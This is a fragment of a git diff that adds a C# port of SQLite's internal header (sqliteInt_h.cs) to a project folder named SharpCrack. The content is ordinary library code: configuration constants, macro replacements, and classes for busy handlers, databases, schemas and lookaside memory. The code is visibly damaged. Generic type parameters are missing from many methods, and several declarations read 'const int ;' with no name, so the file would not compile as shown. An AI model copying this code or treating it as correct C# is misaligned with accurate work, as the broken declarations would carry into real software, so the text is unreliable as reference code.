void *pContext + //); + + + /* + ** A pointer to a structure of the following type is passed as the first + ** argument to callbacks registered using rtree_geometry_callback(). + */ + //struct sqlite3_rtree_geometry { + // void *pContext; /* Copy of pContext passed to s_r_g_c() */ + // int nParam; /* Size of array aParam[] */ + // double *aParam; /* Parameters passed to SQL geom function */ + // void *pUser; /* Callback implementation user data */ + // void (*xDelUser)(void ); /* Called by SQLite to clean up pUser */ + //}; + + + //#if __cplusplus + //} /* end of the 'extern "C"' block */ + //#endif + + //#endif /* ifndef _SQLITE3RTREE_H_ */ + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/sqliteInt_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/sqliteInt_h.cs new file mode 100644 index 0000000..fae9179 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/sqliteInt_h.cs @@ -0,0 +1,4642 @@ +#define SQLITE_MAX_EXPR_DEPTH + +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Text; + +using Bitmask = System.UInt64; +using i16 = System.Int16; +using i64 = System.Int64; +using sqlite3_int64 = System.Int64; + +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; +using unsigned = System.UInt64; + +using Pgno = System.UInt32; + +#if !SQLITE_MAX_VARIABLE_NUMBER +using ynVar = System.Int16; +#else +using ynVar = System.Int32; +#endif + +/* +** The yDbMask datatype for the bitmask of all attached databases. +*/ +#if SQLITE_MAX_ATTACHED//>30 +// typedef sqlite3_uint64 yDbMask; +using yDbMask = System.Int64; +#else +// typedef unsigned int yDbMask; +using yDbMask = System.Int32; +#endif + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** Internal interface definitions for SQLite. + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#if !_SQLITEINT_H_ + //#define _SQLITEINT_H_ + + /* + ** These #defines should enable >2GB file support on POSIX if the + ** underlying operating system supports it. If the OS lacks + ** large file support, or if the OS is windows, these should be no-ops. + ** + ** Ticket #2739: The _LARGEFILE_SOURCE macro must appear before any + ** system #includes. Hence, this block of code must be the very first + ** code in all source files. + ** + ** Large file support can be disabled using the -DSQLITE_DISABLE_LFS switch + ** on the compiler command line. This is necessary if you are compiling + ** on a recent machine (ex: Red Hat 7.2) but you want your code to work + ** on an older machine (ex: Red Hat 6.0). If you compile on Red Hat 7.2 + ** without this option, LFS is enable. But LFS does not exist in the kernel + ** in Red Hat 6.0, so the code won't work. Hence, for maximum binary + ** portability you should omit LFS. + ** + ** Similar is true for Mac OS X. LFS is only supported on Mac OS X 9 and later. + */ + //#if !SQLITE_DISABLE_LFS + //# define _LARGE_FILE 1 + //# ifndef _FILE_OFFSET_BITS + //# define _FILE_OFFSET_BITS 64 + //# endif + //# define _LARGEFILE_SOURCE 1 + //#endif + + /* + ** Include the configuration header output by 'configure' if we're using the + ** autoconf-based build + */ +#if _HAVE_SQLITE_CONFIG_H +//#include "config.h" +#endif + //#include "sqliteLimit.h" + + /* Disable nuisance warnings on Borland compilers */ + //#if (__BORLANDC__) + //#pragma warn -rch /* unreachable code */ + //#pragma warn -ccc /* Condition is always true or false */ + //#pragma warn -aus /* Assigned value is never used */ + //#pragma warn -csu /* Comparing signed and unsigned */ + //#pragma warn -spa /* Suspicious pointer arithmetic */ + //#endif + + /* Needed for various definitions... */ + //#if !_GNU_SOURCE + //#define _GNU_SOURCE + //#endif + /* + ** Include standard header files as necessary + */ +#if HAVE_STDINT_H +//#include +#endif +#if HAVE_INTTYPES_H +//#include +#endif + + /* +** The number of samples of an index that SQLite takes in order to +** construct a histogram of the table content when running ANALYZE +** and with SQLITE_ENABLE_STAT2 +*/ + //#define SQLITE_INDEX_SAMPLES 10 + public const int SQLITE_INDEX_SAMPLES = 10; + + /* + ** The following macros are used to cast pointers to integers and + ** integers to pointers. The way you do this varies from one compiler + ** to the next, so we have developed the following set of #if statements + ** to generate appropriate macros for a wide range of compilers. + ** + ** The correct "ANSI" way to do this is to use the intptr_t type. + ** Unfortunately, that typedef is not available on all compilers, or + ** if it is available, it requires an #include of specific headers + ** that vary from one machine to the next. + ** + ** Ticket #3860: The llvm-gcc-4.2 compiler from Apple chokes on + ** the ((void)&((char)0)[X]) construct. But MSVC chokes on ((void)(X)). + ** So we have to define the macros in different ways depending on the + ** compiler. + */ + //#if (__PTRDIFF_TYPE__) /* This case should work for GCC */ + //# define SQLITE_INT_TO_PTR(X) ((void)(__PTRDIFF_TYPE__)(X)) + //# define SQLITE_PTR_TO_INT(X) ((int)(__PTRDIFF_TYPE__)(X)) + //#elif !defined(__GNUC__) /* Works for compilers other than LLVM */ + //# define SQLITE_INT_TO_PTR(X) ((void)&((char)0)[X]) + //# define SQLITE_PTR_TO_INT(X) ((int)(((char)X)-(char)0)) + //#elif defined(HAVE_STDINT_H) /* Use this case if we have ANSI headers */ + //# define SQLITE_INT_TO_PTR(X) ((void)(intptr_t)(X)) + //# define SQLITE_PTR_TO_INT(X) ((int)(intptr_t)(X)) + //#else /* Generates a warning - but it always works */ + //# define SQLITE_INT_TO_PTR(X) ((void)(X)) + //# define SQLITE_PTR_TO_INT(X) ((int)(X)) + //#endif + + /* + ** The SQLITE_THREADSAFE macro must be defined as 0, 1, or 2. + ** 0 means mutexes are permanently disable and the library is never + ** threadsafe. 1 means the library is serialized which is the highest + ** level of threadsafety. 2 means the libary is multithreaded - multiple + ** threads can use SQLite as long as no two threads try to use the same + ** database connection at the same time. + ** + ** Older versions of SQLite used an optional THREADSAFE macro. + ** We support that for legacy. + */ + +#if !SQLITE_THREADSAFE + //# define SQLITE_THREADSAFE 2 + const int SQLITE_THREADSAFE = 2; +#else + const int SQLITE_THREADSAFE = 2; /* IMP: R-07272-22309 */ +#endif + + /* +** The SQLITE_DEFAULT_MEMSTATUS macro must be defined as either 0 or 1. +** It determines whether or not the features related to +** SQLITE_CONFIG_MEMSTATUS are available by default or not. This value can +** be overridden at runtime using the sqlite3_config() API. +*/ +#if !(SQLITE_DEFAULT_MEMSTATUS) + //# define SQLITE_DEFAULT_MEMSTATUS 1 + const int SQLITE_DEFAULT_MEMSTATUS = 0; +#else +const int SQLITE_DEFAULT_MEMSTATUS = 1; +#endif + + /* +** Exactly one of the following macros must be defined in order to +** specify which memory allocation subsystem to use. +** +** SQLITE_SYSTEM_MALLOC // Use normal system malloc() +** SQLITE_MEMDEBUG // Debugging version of system malloc() +** +** (Historical note: There used to be several other options, but we've +** pared it down to just these two.) +** +** If none of the above are defined, then set SQLITE_SYSTEM_MALLOC as +** the default. +*/ + //#if (SQLITE_SYSTEM_MALLOC)+defined(SQLITE_MEMDEBUG)+\ + //# error "At most one of the following compile-time configuration options\ + // is allows: SQLITE_SYSTEM_MALLOC, SQLITE_MEMDEBUG" + //#endif + //#if (SQLITE_SYSTEM_MALLOC)+defined(SQLITE_MEMDEBUG)+\ + //# define SQLITE_SYSTEM_MALLOC 1 + //#endif + + /* + ** If SQLITE_MALLOC_SOFT_LIMIT is not zero, then try to keep the + ** sizes of memory allocations below this value where possible. + */ +#if !(SQLITE_MALLOC_SOFT_LIMIT) + const int SQLITE_MALLOC_SOFT_LIMIT = 1024; +#endif + + /* +** We need to define _XOPEN_SOURCE as follows in order to enable +** recursive mutexes on most Unix systems. But Mac OS X is different. +** The _XOPEN_SOURCE define causes problems for Mac OS X we are told, +** so it is omitted there. See ticket #2673. +** +** Later we learn that _XOPEN_SOURCE is poorly or incorrectly +** implemented on some systems. So we avoid defining it at all +** if it is already defined or if it is unneeded because we are +** not doing a threadsafe build. Ticket #2681. +** +** See also ticket #2741. +*/ +#if !_XOPEN_SOURCE && !__DARWIN__ && !__APPLE__ && SQLITE_THREADSAFE + const int _XOPEN_SOURCE = 500;//#define _XOPEN_SOURCE 500 /* Needed to enable pthread recursive mutexes */ +#endif + + /* +** The TCL headers are only needed when compiling the TCL bindings. +*/ +#if SQLITE_TCL || TCLSH + //# include +#endif + + /* +** Many people are failing to set -DNDEBUG=1 when compiling SQLite. +** Setting NDEBUG makes the code smaller and run faster. So the following +** lines are added to automatically set NDEBUG unless the -DSQLITE_DEBUG=1 +** option is set. Thus NDEBUG becomes an opt-in rather than an opt-out +** feature. +*/ +#if !NDEBUG && !SQLITE_DEBUG +const int NDEBUG = 1;//# define NDEBUG 1 +#endif + + /* +** The testcase() macro is used to aid in coverage testing. When +** doing coverage testing, the condition inside the argument to +** testcase() must be evaluated both true and false in order to +** get full branch coverage. The testcase() macro is inserted +** to help ensure adequate test coverage in places where simple +** condition/decision coverage is inadequate. For example, testcase() +** can be used to make sure boundary values are tested. For +** bitmask tests, testcase() can be used to make sure each bit +** is significant and used at least once. On switch statements +** where multiple cases go to the same block of code, testcase() +** can insure that all cases are evaluated. +** +*/ +#if SQLITE_COVERAGE_TEST +void sqlite3Coverage(int); +//# define testcase(X) if( X ){ sqlite3Coverage(__LINE__); } +#else + //# define testcase(X) + static void testcase( T X ) + { + } +#endif + + /* +** The TESTONLY macro is used to enclose variable declarations or +** other bits of code that are needed to support the arguments +** within testcase() and Debug.Assert() macros. +*/ +#if !NDEBUG || SQLITE_COVERAGE_TEST + //# define TESTONLY(X) X + // -- Need workaround for C#, since inline macros don't exist +#else +//# define TESTONLY(X) +#endif + + /* +** Sometimes we need a small amount of code such as a variable initialization +** to setup for a later Debug.Assert() statement. We do not want this code to +** appear when Debug.Assert() is disabled. The following macro is therefore +** used to contain that setup code. The "VVA" acronym stands for +** "Verification, Validation, and Accreditation". In other words, the +** code within VVA_ONLY() will only run during verification processes. +*/ +#if !NDEBUG + //# define VVA_ONLY(X) X +#else +//# define VVA_ONLY(X) +#endif + + /* +** The ALWAYS and NEVER macros surround boolean expressions which +** are intended to always be true or false, respectively. Such +** expressions could be omitted from the code completely. But they +** are included in a few cases in order to enhance the resilience +** of SQLite to unexpected behavior - to make the code "self-healing" +** or "ductile" rather than being "brittle" and crashing at the first +** hint of unplanned behavior. +** +** In other words, ALWAYS and NEVER are added for defensive code. +** +** When doing coverage testing ALWAYS and NEVER are hard-coded to +** be true and false so that the unreachable code then specify will +** not be counted as untested code. +*/ +#if SQLITE_COVERAGE_TEST +//# define ALWAYS(X) (1) +//# define NEVER(X) (0) +#elif !NDEBUG + //# define ALWAYS(X) ((X)?1:(Debug.Assert(0),0)) + static bool ALWAYS( bool X ) + { + if ( X != true ) + Debug.Assert( false ); + return true; + } + static int ALWAYS( int X ) + { + if ( X == 0 ) + Debug.Assert( false ); + return 1; + } + static bool ALWAYS( T X ) + { + if ( X == null ) + Debug.Assert( false ); + return true; + } + + //# define NEVER(X) ((X)?(Debug.Assert(0),1):0) + static bool NEVER( bool X ) + { + if ( X == true ) + Debug.Assert( false ); + return false; + } + static byte NEVER( byte X ) + { + if ( X != 0 ) + Debug.Assert( false ); + return 0; + } + static int NEVER( int X ) + { + if ( X != 0 ) + Debug.Assert( false ); + return 0; + } + static bool NEVER( T X ) + { + if ( X != null ) + Debug.Assert( false ); + return false; + } +#else +//# define ALWAYS(X) (X) +static bool ALWAYS(bool X) { return X; } +static byte ALWAYS(byte X) { return X; } +static int ALWAYS(int X) { return X; } +static bool ALWAYS( T X ) { return true; } + +//# define NEVER(X) (X) +static bool NEVER(bool X) { return X; } +static byte NEVER(byte X) { return X; } +static int NEVER(int X) { return X; } +static bool NEVER(T X) { return false; } +#endif + + /* +** Return true (non-zero) if the input is a integer that is too large +** to fit in 32-bits. This macro is used inside of various testcase() +** macros to verify that we have tested SQLite for large-file support. +*/ + static bool IS_BIG_INT( i64 X ) + { + return ( ( ( X ) & ~(i64)0xffffffff ) != 0 ); + }//#define IS_BIG_INT(X) (((X)&~(i64)0xffffffff)!=0) + + /* + ** The macro unlikely() is a hint that surrounds a boolean + ** expression that is usually false. Macro likely() surrounds + ** a boolean expression that is usually true. GCC is able to + ** use these hints to generate better code, sometimes. + */ +#if (__GNUC__) && FALSE +//# define likely(X) __builtin_expect((X),1) +//# define unlikely(X) __builtin_expect((X),0) +#else + //# define likely(X) !!(X) + static bool likely( bool X ) + { + return !!X; + } + //# define unlikely(X) !!(X) + static bool unlikely( bool X ) + { + return !!X; + } +#endif + + //#include "sqlite3.h" + //#include "hash.h" + //#include "parse.h" + //#include + //#include + //#include + //#include + //#include + + /* + ** If compiling for a processor that lacks floating point support, + ** substitute integer for floating-point + */ +#if SQLITE_OMIT_FLOATING_POINT +//# define double sqlite_int64 +//# define float sqlite_int64 +//# define LONGDOUBLE_TYPE sqlite_int64 +//#if !SQLITE_BIG_DBL +//# define SQLITE_BIG_DBL (((sqlite3_int64)1)<<50) +//# endif +//# define SQLITE_OMIT_DATETIME_FUNCS 1 +//# define SQLITE_OMIT_TRACE 1 +//# undef SQLITE_MIXED_ENDIAN_64BIT_FLOAT +//# undef SQLITE_HAVE_ISNAN +#endif +#if !SQLITE_BIG_DBL + const double SQLITE_BIG_DBL = ( ( (sqlite3_int64)1 ) << 60 );//# define SQLITE_BIG_DBL (1e99) +#endif + + /* +** OMIT_TEMPDB is set to 1 if SQLITE_OMIT_TEMPDB is defined, or 0 +** afterward. Having this macro allows us to cause the C compiler +** to omit code used by TEMP tables without messy #if !statements. +*/ +#if SQLITE_OMIT_TEMPDB +//#define OMIT_TEMPDB 1 +#else + static int OMIT_TEMPDB = 0; +#endif + + + /* +** The "file format" number is an integer that is incremented whenever +** the VDBE-level file format changes. The following macros define the +** the default file format for new databases and the maximum file format +** that the library can read. +*/ + static public int SQLITE_MAX_FILE_FORMAT = 4;//#define SQLITE_MAX_FILE_FORMAT 4 + //#if !SQLITE_DEFAULT_FILE_FORMAT + static int SQLITE_DEFAULT_FILE_FORMAT = 1;//# define SQLITE_DEFAULT_FILE_FORMAT 1 + //#endif + + /* + ** Determine whether triggers are recursive by default. This can be + ** changed at run-time using a pragma. + */ +#if !SQLITE_DEFAULT_RECURSIVE_TRIGGERS + //# define SQLITE_DEFAULT_RECURSIVE_TRIGGERS 0 + static public bool SQLITE_DEFAULT_RECURSIVE_TRIGGERS = false; +#else +static public bool SQLITE_DEFAULT_RECURSIVE_TRIGGERS = true; +#endif + + + /* +** Provide a default value for SQLITE_TEMP_STORE in case it is not specified +** on the command-line +*/ + //#if !SQLITE_TEMP_STORE + static int SQLITE_TEMP_STORE = 1;//#define SQLITE_TEMP_STORE 1 + //#endif + + /* +** GCC does not define the offsetof() macro so we'll have to do it +** ourselves. +*/ +#if !offsetof + //#define offsetof(STRUCTURE,FIELD) ((int)((char)&((STRUCTURE)0)->FIELD)) +#endif + + /* +** Check to see if this machine uses EBCDIC. (Yes, believe it or +** not, there are still machines out there that use EBCDIC.) +*/ +//#if FALSE //'A' == '\301' +//# define SQLITE_EBCDIC 1 +//#else + const int SQLITE_ASCII = 1;//#define SQLITE_ASCII 1 +//#endif + + /* +** Integers of known sizes. These typedefs might change for architectures +** where the sizes very. Preprocessor macros are available so that the +** types can be conveniently redefined at compile-type. Like this: +** +** cc '-Du32PTR_TYPE=long long int' ... +*/ + //#if !u32_TYPE + //# ifdef HAVE_u32_T + //# define u32_TYPE u32_t + //# else + //# define u32_TYPE unsigned int + //# endif + //#endif + //#if !u3216_TYPE + //# ifdef HAVE_u3216_T + //# define u3216_TYPE u3216_t + //# else + //# define u3216_TYPE unsigned short int + //# endif + //#endif + //#if !INT16_TYPE + //# ifdef HAVE_INT16_T + //# define INT16_TYPE int16_t + //# else + //# define INT16_TYPE short int + //# endif + //#endif + //#if !u328_TYPE + //# ifdef HAVE_u328_T + //# define u328_TYPE u328_t + //# else + //# define u328_TYPE unsigned char + //# endif + //#endif + //#if !INT8_TYPE + //# ifdef HAVE_INT8_T + //# define INT8_TYPE int8_t + //# else + //# define INT8_TYPE signed char + //# endif + //#endif + //#if !LONGDOUBLE_TYPE + //# define LONGDOUBLE_TYPE long double + //#endif + //typedef sqlite_int64 i64; /* 8-byte signed integer */ + //typedef sqlite_u3264 u64; /* 8-byte unsigned integer */ + //typedef u32_TYPE u32; /* 4-byte unsigned integer */ + //typedef u3216_TYPE u16; /* 2-byte unsigned integer */ + //typedef INT16_TYPE i16; /* 2-byte signed integer */ + //typedef u328_TYPE u8; /* 1-byte unsigned integer */ + //typedef INT8_TYPE i8; /* 1-byte signed integer */ + + /* + ** SQLITE_MAX_U32 is a u64 constant that is the maximum u64 value + ** that can be stored in a u32 without loss of data. The value + ** is 0x00000000ffffffff. But because of quirks of some compilers, we + ** have to specify the value in the less intuitive manner shown: + */ + //#define SQLITE_MAX_U32 ((((u64)1)<<32)-1) + const u32 SQLITE_MAX_U32 = (u32)( ( ( (u64)1 ) << 32 ) - 1 ); + + + /* + ** Macros to determine whether the machine is big or little endian, + ** evaluated at runtime. + */ +#if SQLITE_AMALGAMATION +//const int sqlite3one = 1; +#else + const bool sqlite3one = true; +#endif +#if i386 || __i386__ || _M_IX86 +const int ;//#define SQLITE_BIGENDIAN 0 +const int ;//#define SQLITE_LITTLEENDIAN 1 +const int ;//#define SQLITE_UTF16NATIVE SQLITE_UTF16LE +#else + static u8 SQLITE_BIGENDIAN = 0;//#define SQLITE_BIGENDIAN (*(char )(&sqlite3one)==0) + static u8 SQLITE_LITTLEENDIAN = 1;//#define SQLITE_LITTLEENDIAN (*(char )(&sqlite3one)==1) + static u8 SQLITE_UTF16NATIVE = ( SQLITE_BIGENDIAN != 0 ? SQLITE_UTF16BE : SQLITE_UTF16LE );//#define SQLITE_UTF16NATIVE (SQLITE_BIGENDIAN?SQLITE_UTF16BE:SQLITE_UTF16LE) +#endif + + /* +** Constants for the largest and smallest possible 64-bit signed integers. +** These macros are designed to work correctly on both 32-bit and 64-bit +** compilers. +*/ + //#define LARGEST_INT64 (0xffffffff|(((i64)0x7fffffff)<<32)) + //#define SMALLEST_INT64 (((i64)-1) - LARGEST_INT64) + const i64 LARGEST_INT64 = i64.MaxValue;//( 0xffffffff | ( ( (i64)0x7fffffff ) << 32 ) ); + const i64 SMALLEST_INT64 = i64.MinValue;//( ( ( i64 ) - 1 ) - LARGEST_INT64 ); + + /* + ** Round up a number to the next larger multiple of 8. This is used + ** to force 8-byte alignment on 64-bit architectures. + */ + //#define ROUND8(x) (((x)+7)&~7) + static int ROUND8( int x ) + { + return ( x + 7 ) & ~7; + } + + /* + ** Round down to the nearest multiple of 8 + */ + //#define ROUNDDOWN8(x) ((x)&~7) + static int ROUNDDOWN8( int x ) + { + return x & ~7; + } + + /* + ** Assert that the pointer X is aligned to an 8-byte boundary. This + ** macro is used only within Debug.Assert() to verify that the code gets + ** all alignment restrictions correct. + ** + ** Except, if SQLITE_4_BYTE_ALIGNED_MALLOC is defined, then the + ** underlying malloc() implemention might return us 4-byte aligned + ** pointers. In that case, only verify 4-byte alignment. + */ + //#if SQLITE_4_BYTE_ALIGNED_MALLOC + //# define EIGHT_BYTE_ALIGNMENT(X) ((((char)(X) - (char)0)&3)==0) + //#else + //# define EIGHT_BYTE_ALIGNMENT(X) ((((char)(X) - (char)0)&7)==0) + //#endif + + /* + ** An instance of the following structure is used to store the busy-handler + ** callback for a given sqlite handle. + ** + ** The sqlite.busyHandler member of the sqlite struct contains the busy + ** callback for the database handle. Each pager opened via the sqlite + ** handle is passed a pointer to sqlite.busyHandler. The busy-handler + ** callback is currently invoked only from within pager.c. + */ + //typedef struct BusyHandler BusyHandler; + public class BusyHandler + { + public dxBusy xFunc;//)(void *,int); /* The busy callback */ + public object pArg; /* First arg to busy callback */ + public int nBusy; /* Incremented with each busy call */ + }; + + /* + ** Name of the master database table. The master database table + ** is a special table that holds the names and attributes of all + ** user tables and indices. + */ + const string MASTER_NAME = "sqlite_master";//#define MASTER_NAME "sqlite_master" + const string TEMP_MASTER_NAME = "sqlite_temp_master";//#define TEMP_MASTER_NAME "sqlite_temp_master" + + /* + ** The root-page of the master database table. + */ + const int MASTER_ROOT = 1;//#define MASTER_ROOT 1 + + /* + ** The name of the schema table. + */ + static string SCHEMA_TABLE( int x ) //#define SCHEMA_TABLE(x) ((!OMIT_TEMPDB)&&(x==1)?TEMP_MASTER_NAME:MASTER_NAME) + { + return ( ( OMIT_TEMPDB == 0 ) && ( x == 1 ) ? TEMP_MASTER_NAME : MASTER_NAME ); + } + + /* + ** A convenience macro that returns the number of elements in + ** an array. + */ + //#define ArraySize(X) ((int)(sizeof(X)/sizeof(X[0]))) + static int ArraySize( T[] x ) + { + return x.Length; + } + + /* + ** The following value as a destructor means to use sqlite3DbFree(). + ** This is an internal extension to SQLITE_STATIC and SQLITE_TRANSIENT. + */ + //#define SQLITE_DYNAMIC ((sqlite3_destructor_type)sqlite3DbFree) + static dxDel SQLITE_DYNAMIC; + + /* + ** When SQLITE_OMIT_WSD is defined, it means that the target platform does + ** not support Writable Static Data (WSD) such as global and static variables. + ** All variables must either be on the stack or dynamically allocated from + ** the heap. When WSD is unsupported, the variable declarations scattered + ** throughout the SQLite code must become constants instead. The SQLITE_WSD + ** macro is used for this purpose. And instead of referencing the variable + ** directly, we use its constant as a key to lookup the run-time allocated + ** buffer that holds real variable. The constant is also the initializer + ** for the run-time allocated buffer. + ** + ** In the usual case where WSD is supported, the SQLITE_WSD and GLOBAL + ** macros become no-ops and have zero performance impact. + */ +#if SQLITE_OMIT_WSD +//#define SQLITE_WSD const +//#define GLOBAL(t,v) (*(t)sqlite3_wsd_find((void)&(v), sizeof(v))) +//#define sqlite3GlobalConfig GLOBAL(struct Sqlite3Config, sqlite3Config) +int sqlite3_wsd_init(int N, int J); +void *sqlite3_wsd_find(void *K, int L); +#else + //#define SQLITE_WSD + //#define GLOBAL(t,v) v + //#define sqlite3GlobalConfig sqlite3Config + static Sqlite3Config sqlite3GlobalConfig; +#endif + + /* +** The following macros are used to suppress compiler warnings and to +** make it clear to human readers when a function parameter is deliberately +** left unused within the body of a function. This usually happens when +** a function is called via a function pointer. For example the +** implementation of an SQL aggregate step callback may not use the +** parameter indicating the number of arguments passed to the aggregate, +** if it knows that this is enforced elsewhere. +** +** When a function parameter is not used at all within the body of a function, +** it is generally named "NotUsed" or "NotUsed2" to make things even clearer. +** However, these macros may also be used to suppress warnings related to +** parameters that may or may not be used depending on compilation options. +** For example those parameters only used in Debug.Assert() statements. In these +** cases the parameters are named as per the usual conventions. +*/ + //#define UNUSED_PARAMETER(x) (void)(x) + static void UNUSED_PARAMETER( T x ) + { + } + + //#define UNUSED_PARAMETER2(x,y) UNUSED_PARAMETER(x),UNUSED_PARAMETER(y) + static void UNUSED_PARAMETER2( T1 x, T2 y ) + { + UNUSED_PARAMETER( x ); + UNUSED_PARAMETER( y ); + } + + /* + ** Forward references to structures + */ + //typedef struct AggInfo AggInfo; + //typedef struct AuthContext AuthContext; + //typedef struct AutoincInfo AutoincInfo; + //typedef struct Bitvec Bitvec; + //typedef struct CollSeq CollSeq; + //typedef struct Column Column; + //typedef struct Db Db; + //typedef struct Schema Schema; + //typedef struct Expr Expr; + //typedef struct ExprList ExprList; + //typedef struct ExprSpan ExprSpan; + //typedef struct FKey FKey; + //typedef struct FuncDestructor FuncDestructor; + //typedef struct FuncDef FuncDef; + //typedef struct IdList IdList; + //typedef struct Index Index; + //typedef struct IndexSample IndexSample; + //typedef struct KeyClass KeyClass; + //typedef struct KeyInfo KeyInfo; + //typedef struct Lookaside Lookaside; + //typedef struct LookasideSlot LookasideSlot; + //typedef struct Module Module; + //typedef struct NameContext NameContext; + //typedef struct Parse Parse; + //typedef struct RowSet RowSet; + //typedef struct Savepoint Savepoint; + //typedef struct Select Select; + //typedef struct SrcList SrcList; + //typedef struct StrAccum StrAccum; + //typedef struct Table Table; + //typedef struct TableLock TableLock; + //typedef struct Token Token; + //typedef struct Trigger Trigger; + //typedef struct TriggerPrg TriggerPrg; + //typedef struct TriggerStep TriggerStep; + //typedef struct UnpackedRecord UnpackedRecord; + //typedef struct VTable VTable; + //typedef struct VtabCtx VtabCtx; + //typedef struct Walker Walker; + //typedef struct WherePlan WherePlan; + //typedef struct WhereInfo WhereInfo; + //typedef struct WhereLevel WhereLevel; + + /* + ** Defer sourcing vdbe.h and btree.h until after the "u8" and + ** "BusyHandler" typedefs. vdbe.h also requires a few of the opaque + ** pointer types (i.e. FuncDef) defined above. + */ + //#include "btree.h" + //#include "vdbe.h" + //#include "pager.h" + //#include "pcache_g.h" + + //#include "os.h" + //#include "mutex.h" + + /* + ** Each database file to be accessed by the system is an instance + ** of the following structure. There are normally two of these structures + ** in the sqlite.aDb[] array. aDb[0] is the main database file and + ** aDb[1] is the database file used to hold temporary tables. Additional + ** databases may be attached. + */ + public class Db + { + public string zName; /* Name of this database */ + public Btree pBt; /* The B Tree structure for this database file */ + public u8 inTrans; /* 0: not writable. 1: Transaction. 2: Checkpoint */ + public u8 safety_level; /* How aggressive at syncing data to disk */ + public Schema pSchema; /* Pointer to database schema (possibly shared) */ + }; + + /* + ** An instance of the following structure stores a database schema. + ** + ** Most Schema objects are associated with a Btree. The exception is + ** the Schema for the TEMP databaes (sqlite3.aDb[1]) which is free-standing. + ** In shared cache mode, a single Schema object can be shared by multiple + ** Btrees that refer to the same underlying BtShared object. + ** + ** Schema objects are automatically deallocated when the last Btree that + ** references them is destroyed. The TEMP Schema is manually freed by + ** sqlite3_close(). + * + ** A thread must be holding a mutex on the corresponding Btree in order + ** to access Schema content. This implies that the thread must also be + ** holding a mutex on the sqlite3 connection pointer that owns the Btree. + ** For a TEMP Schema, only the connection mutex is required. + */ + public class Schema + { + public int schema_cookie; /* Database schema version number for this file */ + public u32 iGeneration; /* Generation counter. Incremented with each change */ + public Hash tblHash = new Hash(); /* All tables indexed by name */ + public Hash idxHash = new Hash(); /* All (named) indices indexed by name */ + public Hash trigHash = new Hash();/* All triggers indexed by name */ + public Hash fkeyHash = new Hash();/* All foreign keys by referenced table name */ + public Table pSeqTab; /* The sqlite_sequence table used by AUTOINCREMENT */ + public u8 file_format; /* Schema format version for this file */ + public u8 enc; /* Text encoding used by this database */ + public u16 flags; /* Flags associated with this schema */ + public int cache_size; /* Number of pages to use in the cache */ + public Schema Copy() + { + if ( this == null ) + return null; + else + { + Schema cp = (Schema)MemberwiseClone(); + return cp; + } + } + + public void Clear() + { + if ( this != null ) + { + schema_cookie = 0; + tblHash = new Hash(); + idxHash = new Hash(); + trigHash = new Hash(); + fkeyHash = new Hash(); + pSeqTab = null; + } + } + }; + + /* + ** These macros can be used to test, set, or clear bits in the + ** Db.pSchema->flags field. + */ + //#define DbHasProperty(D,I,P) (((D)->aDb[I].pSchema->flags&(P))==(P)) + static bool DbHasProperty( sqlite3 D, int I, ushort P ) + { + return ( D.aDb[I].pSchema.flags & P ) == P; + } + //#define DbHasAnyProperty(D,I,P) (((D)->aDb[I].pSchema->flags&(P))!=0) + //#define DbSetProperty(D,I,P) (D)->aDb[I].pSchema->flags|=(P) + static void DbSetProperty( sqlite3 D, int I, ushort P ) + { + D.aDb[I].pSchema.flags = (u16)( D.aDb[I].pSchema.flags | P ); + } + //#define DbClearProperty(D,I,P) (D)->aDb[I].pSchema->flags&=~(P) + static void DbClearProperty( sqlite3 D, int I, ushort P ) + { + D.aDb[I].pSchema.flags = (u16)( D.aDb[I].pSchema.flags & ~P ); + } + /* + ** Allowed values for the DB.pSchema->flags field. + ** + ** The DB_SchemaLoaded flag is set after the database schema has been + ** read into internal hash tables. + ** + ** DB_UnresetViews means that one or more views have column names that + ** have been filled out. If the schema changes, these column names might + ** changes and so the view will need to be reset. + */ + //#define DB_SchemaLoaded 0x0001 /* The schema has been loaded */ + //#define DB_UnresetViews 0x0002 /* Some views have defined column names */ + //#define DB_Empty 0x0004 /* The file is empty (length 0 bytes) */ + const u16 DB_SchemaLoaded = 0x0001; + const u16 DB_UnresetViews = 0x0002; + const u16 DB_Empty = 0x0004; + + /* + ** The number of different kinds of things that can be limited + ** using the sqlite3_limit() interface. + */ + //#define SQLITE_N_LIMIT (SQLITE_LIMIT_TRIGGER_DEPTH+1) + const int SQLITE_N_LIMIT = SQLITE_LIMIT_TRIGGER_DEPTH + 1; + + /* + ** Lookaside malloc is a set of fixed-size buffers that can be used + ** to satisfy small transient memory allocation requests for objects + ** associated with a particular database connection. The use of + ** lookaside malloc provides a significant performance enhancement + ** (approx 10%) by avoiding numerous malloc/free requests while parsing + ** SQL statements. + ** + ** The Lookaside structure holds configuration information about the + ** lookaside malloc subsystem. Each available memory allocation in + ** the lookaside subsystem is stored on a linked list of LookasideSlot + ** objects. + ** + ** Lookaside allocations are only allowed for objects that are associated + ** with a particular database connection. Hence, schema information cannot + ** be stored in lookaside because in shared cache mode the schema information + ** is shared by multiple database connections. Therefore, while parsing + ** schema information, the Lookaside.bEnabled flag is cleared so that + ** lookaside allocations are not used to construct the schema objects. + */ + public class Lookaside + { + public int sz; /* Size of each buffer in bytes */ + public u8 bEnabled; /* False to disable new lookaside allocations */ + public bool bMalloced; /* True if pStart obtained from sqlite3_malloc() */ + public int nOut; /* Number of buffers currently checked out */ + public int mxOut; /* Highwater mark for nOut */ + public int[] anStat = new int[3]; /* 0: hits. 1: size misses. 2: full misses */ + public LookasideSlot pFree; /* List of available buffers */ + public int pStart; /* First byte of available memory space */ + public int pEnd; /* First byte past end of available space */ + }; + public class LookasideSlot + { + public LookasideSlot pNext; /* Next 